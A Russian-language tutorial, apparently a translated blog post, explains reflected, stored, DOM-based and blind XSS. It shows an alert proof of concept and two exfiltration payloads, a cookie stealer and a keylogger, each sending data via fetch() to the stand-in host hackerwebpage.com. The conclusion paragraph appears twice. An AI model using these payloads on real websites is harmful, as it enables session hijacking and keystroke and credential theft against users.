Как обнаружить и использовать XSS-уязвимости

Неограниченные веб-приложения позволяют пользователям атаковать учетные записи других пользователей с помощью межсайтового скриптинга, также известного как XSS в мире кибербезопасности. Это тип атаки с помощью инъекции, когда злоумышленники внедряют вредоносный JavaScript на веб-сайт, чтобы его могли загрузить и выполнить другие люди.

Если вы можете заставить JavaScript выполняться на компьютере пользователя, вы можете сделать много вещей. Это может варьироваться от мониторинга файлов cookie жертвы до захвата контроля над ее сеансом, запуска кейлоггера, который записывает каждое нажатие клавиши, которое пользователь делает при посещении веб-сайта, или вообще перенаправляет их на совершенно другой веб-сайт.

Полезная нагрузка в XSS — это код JavaScript, который мы хотим выполнить на целевом компьютере. В полезной нагрузке есть два компонента: намерение и модификация.

Намерение — это то, что вы хотите, чтобы JavaScript делал на практике, в то время как модификация определяет изменения в коде, которые необходимо внести для его выполнения, поскольку каждая ситуация уникальна.

Примеры намерений XSS

Доказательство концепции

Это самый простой тип полезной нагрузки, и все, что вам нужно сделать, это показать, что вы можете использовать XSS для веб-страницы. Обычно это достигается путем появления на странице окна предупреждения со случайным текстом, например:

<script>
   alert('Yaj, XSS the webpage!');
</script>

Кража сеанса

Файлы cookie на компьютерах целей обычно используются для хранения информации о сеансе пользователя, такой как токены входа. В следующем коде используется функция JavaScript для кражи файла cookie жертвы, его кодирования base64 для передачи, а затем публикации на веб-сайте, контролируемом хакером. Файлы cookie могут использоваться хакерами для контроля над сеансом цели и регистрации этого человека.

<script>
   fetch('https://hackerwebpage.com/steal?cookie='+btoa(document.cookie));
</script>

кейлоггер

Следующий скрипт представляет собой кейлоггер. Это означает, что все, что вы вводите на веб-сайте, будет отправлено на веб-сайт, находящийся под контролем хакера. Если сайт, на который была доставлена ​​полезная нагрузка, принимает регистрацию пользователей или информацию о кредитной карте, это может быть довольно опасно.

<script>
   document.onkeypress = function(e) { fetch('https://hackerwebpage.com/log?key=' + btoa(e.key) );}
</script>

Отраженный XSS

Когда предоставленные пользователем данные включаются в источник HTTP-запроса без какой-либо проверки, становится возможным возникновение отраженной уязвимости XSS.

Потенциальное воздействие

Злоумышленник может публиковать ссылки или встраивать их в iframe на другом веб-сайте для потенциальных жертв, побуждая их выполнить код в своем браузере, что может привести к утечке данных сеанса или потребителя.

Тест на отраженный XSS

Каждый мыслимый вход должен быть проверен; к ним относятся:

  • Параметры в строке запроса URL
  • URL-адрес файла
  • Иногда заголовки HTTP

Сохраненный XSS

Полезная нагрузка XSS сохраняется в веб-приложении (например, в базе данных), а затем запускается, когда другие люди посещают сайт или страницу.

Потенциальное воздействие

Вредоносный JavaScript злоумышленника может перенаправить пользователей на другой сайт, захватить файл cookie сеанса пользователя или выполнить другие операции на веб-сайте, выдавая себя за посетителя.

Проверка сохраненного XSS

Вам нужно будет протестировать каждую мыслимую точку входа, где данные, как предполагается, хранятся, а затем представляются обратно в областях, к которым имеют доступ другие пользователи.

Как только вы обнаружите некоторые данные, которые хранятся в веб-приложении, вам необходимо убедиться, что полезная нагрузка JavaScript будет работать; ваш код, вероятно, будет где-то введен в текстовую область на веб-странице.

XSS на основе DOM

Что такое ДОМ?

Объектная модель документа (DOM) — это программный интерфейс для документов HTML и XML. Он действует как прокси для документа, позволяя приложениям изменять структуру, стиль и содержимое документа. Веб-страница — это документ, и ее можно просмотреть в окне браузера или в виде исходного HTML-файла.

Используйте DOM

JavaScript выполняется внутри веб-браузера на стороне клиента в DOM. Это относится к атакам, нацеленным на веб-сайты, данные которых не передаются или не отправляются на внутренний сервер.

Потенциальное воздействие

Вредоносный код может использоваться для сбора информации из сеанса пользователя и перенаправления его на другой веб-сайт или для кражи контента со страницы или его сеанса.

Тест для XSS на основе DOM

XSS на основе DOM сложно тестировать, и для понимания исходного кода требуется полное понимание JavaScript. Вам нужно будет найти биты пользовательского ввода в DOM (объектная модель документа), а затем внедрить свой код.

Вы также должны изучить, как они обрабатываются и записываются ли значения в DOM веб-страницы или передаются небезопасным функциям JavaScript, таким как eval() или setTimeout().

Слепой XSS

Слепой XSS похож на сохраненный XSS в том, что ваша полезная нагрузка сохраняется на сайте для просмотра другим пользователем, но вы не можете увидеть, как работает полезная нагрузка, или проверить ее на себе.

Потенциальное воздействие

JavaScript злоумышленника может вернуться на веб-сайт злоумышленника, раскрывая URL-адрес портала, файлы cookie и даже то, что просматривается на странице портала. Теперь хакер имеет доступ к сеансу сотрудника и имеет доступ к его личному порталу.

В заключение, уязвимости XSS обычно представляют собой самый большой риск, когда речь идет о веб-приложениях и веб-сайтах, из-за их потенциально катастрофических последствий для компьютера цели. Лучший способ защититься от этих атак — использовать надлежащую проверку ввода для всех пользовательских данных и всегда следить за использованием регулярных выражений.

Тест на слепой XSS

Обратный вызов требуется для тестирования на слепые XSS-атаки. Таким образом, вы можете определить, запускается ли ваш код и когда.

xsshunter — популярный инструмент для слепых XSS-атак. Хотя возможно создание собственной программы JavaScript, эта программа будет автоматически собирать файлы cookie, URL-адреса, содержимое страниц и многое другое.

Заключение

В заключение, уязвимости XSS обычно представляют собой самый большой риск, когда речь идет о веб-приложениях и веб-сайтах, из-за их потенциально катастрофических последствий для компьютера цели. Лучший способ защититься от этих атак — использовать надлежащую проверку ввода для всех пользовательских данных и всегда следить за использованием регулярных выражений.

Рекомендации

Первоначально опубликовано на https://deepboltzer.codes.